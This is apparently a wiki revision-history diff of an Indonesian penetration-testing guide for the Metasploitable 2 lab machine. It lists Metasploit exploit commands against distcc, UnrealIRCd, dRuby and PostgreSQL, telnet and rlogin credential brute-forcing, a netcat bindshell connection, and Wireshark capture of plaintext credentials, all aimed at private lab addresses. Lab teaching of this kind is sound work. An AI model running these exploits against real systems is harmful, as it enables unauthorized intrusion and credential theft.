Metasploitable: Comprehensive Guide on Metasploitable 2 - Revision history

Onnowpurbo at 02:29, 21 July 2020

2020-07-21T02:29:05Z

Onnowpurbo: /* Exploiting TELNET */

2020-02-22T19:21:22Z

Exploiting TELNET

Onnowpurbo: /* Exploiting port 23 TELNET (Credential Capture) */

2020-02-22T19:21:05Z

Exploiting port 23 TELNET (Credential Capture)

Onnowpurbo: /* Remote Login Exploitation */

2020-02-20T04:53:09Z

Remote Login Exploitation

Onnowpurbo: /* Access Port 2121 (ProFTPD) */

2020-02-20T04:50:17Z

Access Port 2121 (ProFTPD)

Onnowpurbo: /* Bindshell Exploitation */

2020-02-20T04:48:42Z

Bindshell Exploitation

Onnowpurbo: /* Exploiting Distributed Ruby Remote Code Execution (8787) */

2020-02-20T04:44:08Z

Exploiting Distributed Ruby Remote Code Execution (8787)

Onnowpurbo: /* Exploiting Port 36255 */

2020-02-20T04:36:14Z

Exploiting Port 36255

Onnowpurbo: /* Exploiting Port 6667 (UnrealIRCD) */

2020-02-20T04:32:27Z

Exploiting Port 6667 (UnrealIRCD)

Onnowpurbo: /* Exploiting Port 5432 (Postgres) */

2020-02-20T04:21:19Z

Exploiting Port 5432 (Postgres)

@@ Line 10: / Line 10: @@
   nmap -p- -v -sV 192.168.0.106
   sudo nmap -sS -v -O 192.168.0.106
 ==Exploiting Port 21: FTP==
@@ Line 34: / Line 35: @@
   ftp 192.168.0.106
 ==Exploiting VSFTPD 2.3.4==

@@ Line 107: / Line 107: @@
   msf > use auxiliary/scanner/telnet/telnet_login
-  msf auxiliary (scanner/telnet/telnet_login) > set rhosts 192.1680.106
+  msf auxiliary (scanner/telnet/telnet_login) > set rhosts 192.168.0.102
   msf auxiliary (scanner/telnet/telnet_login) > set user_file /root/Desktop/user.txt
   msf auxiliary (scanner/telnet/telnet_login) > set pass_file /root/Desktop/pass.txt
@@ Line 116: / Line 116: @@
   use auxiliary/scanner/telnet/telnet_login
-  set rhosts 192.168.0.106
+  set rhosts 192.168.0.102
   set user_file /home/onno/user.txt
   set pass_file /home/onno/pass.txt

@@ Line 98: / Line 98: @@
 Gunakan Wireshark untuk menangkap traffic TCP, jalankan Wireshark di belakang layar sementara kita connect ke Metasploitable 2 melalui telnet menggunakan "msfadmin" sebagai kredensial untuk username dan password.
-  telnet 192.168.1.103
+  telnet 192.168.0.102
 Setelah berhasil connect, kita kembali ke Wireshark. Sekarang kita klik opsi "TCP Stream" di bawah Analyze> Follow. Ini akan memperlihatkan kepada kita kredensial info masuk dalam bentuk text biasa.

@@ Line 268: / Line 268: @@
 ==Remote Login Exploitation==
-A remote login is a tool that was used before ssh came into the picture. Since we have the login credentials for Metasploitable 2, we will be using Rlogin to connect to it, using the “-l” flag to define the login name.
+remote login adalah tool yang digunakan sebelum ssh ada. Karena kita mempunyai login credential untuk Metasploitable 2, kita akan menggunakan Rlogin untuk connect, gunakan flag “-l” untuk mendefinisikan login name.
   rlogin -l msfadmin 192.168.1.103
-Metasploit has a module in its auxiliary section that we can use to get into the rlogin.
+Metasploit mempunyai modul di auxiliary yang bisa kita gunakan untuk rlogin.
   msf > use auxiliary/scanner/rservices/rlogin_login
-  msf auxiliary (scanner/rservices/rlogin_login) > set rhosts 192.168.1.103
+  msf auxiliary (scanner/rservices/rlogin_login) > set rhosts 192.168.0.106
   msf auxiliary (scanner/rservices/rlogin_login) > set username root
   msf auxiliary (scanner/rservices/rlogin_login) > exploit
 ==Remote Shell Exploitation==

@@ Line 325: / Line 325: @@
 ==Access Port 2121 (ProFTPD)==
-We will connect to the target machine using Telnet running on port 2121 using the default credentials for Metasplotable 2.
+Kita akan connect ke mesin sasaran menggunakan Telnet running pada port 2121 menggunakan default credential dari Metasplotable 2.
   telnet 192.168.1.103 2121

@@ Line 303: / Line 303: @@
 ==Bindshell Exploitation==
-Metasploitable 2 comes with an open bindshell service running on port 1524. We will be using Netcat to connect to it.
+Dalam Metasploitable 2 ada open bindshell service running pada port 1524. Kita akan menggunakan Netcat untuk connect.
   nc 192.168.1.103 1524
 ==Exploiting Port 5900 (VNC)==

@@ Line 287: / Line 287: @@
 ==Exploiting Distributed Ruby Remote Code Execution (8787)==
-Now that we know that this service is running successfully, let’s try to exploit it using Metasploit.
+Sekarang kita tahu bahwa layanan ini berjalan dengan sukses, mari kita coba untuk mengeksploitasinya menggunakan Metasploit.
-This module exploits remote code execution vulnerabilities in dRuby.
+Modul ini mengeksploitasi remote code execution vulnerabilities di dRuby.
   msf > use exploit/linux/misc/drb_remote_codeexec
-  msf exploit (linux/misc/drb_remote_code) > set rhost 192.168.1.103
+  msf exploit (linux/misc/drb_remote_code) > set rhost 192.168.0.106
   msf exploit (linux/misc/drb_remote_code) > exploit
 ==Bindshell Exploitation==

@@ Line 254: / Line 254: @@
 ==Exploiting Port 36255==
-This is a weakness that allows arbitrary commands on systems running distccd. We will be using Distcc Daemon Command Execution. This module uses a documented security weakness to execute arbitrary commands on any system running distccd.
+Ini adalah kelemahan yang memungkinkan perintah sembarang pada sistem yang menjalankan distccd. Kita akan menggunakan Distcc Daemon Command Execution. Modul ini menggunakan kelemahan keamanan yang terdokumentasi untuk menjalankan perintah sembarang pada sistem yang menjalankan distccd.
   msf > use exploit/unix/misc/distcc_exec
-  msf exploit (unix/misc/distcc_exec) > set rhost 192.168.1.103
+  msf exploit (unix/misc/distcc_exec) > set rhost 192.168.0.106
   msf exploit (unix/misc/distcc_exec) > exploit
 ==Remote Login Exploitation==

@@ Line 238: / Line 238: @@
 ==Exploiting Port 6667 (UnrealIRCD)==
-Port 6667 has the Unreal IRCD service running, we will exploit is using a backdoor that’s available in Metasploit.
+Port 6667 menjalankan layanan Unreal IRCD, kita akan mengeksploitasi menggunakan backdoor yang tersedia di Metasploit.
-This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th, 2010.
+Modul ini mengeksploitasi backdoor berbahaya yang ditambahkan ke arsip  Unreal IRCD 3.2.8.1. Backdoor ini ada di arsip Unreal3.2.8.1.tar.gz antara November 2009 dan 12 Juni 2010.
   msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
-  msf exploit (unix/irc/unreal_ircd_3281_backdoor) > set rhost 192.168.1.103
+  msf exploit (unix/irc/unreal_ircd_3281_backdoor) > set rhost 192.168.0.106
   msf exploit (unix/irc/unreal_ircd_3281_backdoor) > exploit
 ==Exploiting Port 36255==

@@ Line 222: / Line 222: @@
 ==Exploiting Port 5432 (Postgres)==
-Postgres is associated with SQL is runs on port 5432 and we have a great little exploit that can be used here.
+Postgres dikaitkan dengan SQL dijalankan pada port 5432 dan kita memiliki exploit yang dapat digunakan di sini.
-On some default Linux installations of PostgreSQL, the Postgres service account may write to the /tmp directory and may source UDF Shared Libraries from there as well, allowing execution of arbitrary code. This module compiles a Linux shared object file, uploads it to the target host via the UPDATE pg_largeobject method of binary injection, and creates a UDF (user defined function) from that shared object. Because the payload is run as the shared object’s constructor, it does not need to conform to specific Postgres API versions.
+Pada beberapa instalasi Linux standar PostgreSQL, Postgres service account dapat menulis ke direktori /tmp dan dapat source UDF Shared Libraries dari sana, memungkinkan eksekusi kode sembarang. Modul ini mengkompilasi file objek bersama Linux, mengunggahnya ke host target melalui UPDATE pg_largeobject method dari binary injection, dan creates UDF (user defined function) dari shared object tersebut. Karena payload dijalankan sebagai shared object constructor, ia tidak perlu menyesuaikan diri dengan versi API Postgres yang spesifik.
   msf > use exploit/linux/postgres/postgres_payload
-  msf exploit (linux/postgres/postgres_payload) > set rhost 192.168.1.103
+  msf exploit (linux/postgres/postgres_payload) > set rhost 192.168.0.106
   msf exploit (linux/postgres/postgres_payload) > exploit
 ==Exploiting Port 6667 (UnrealIRCD)==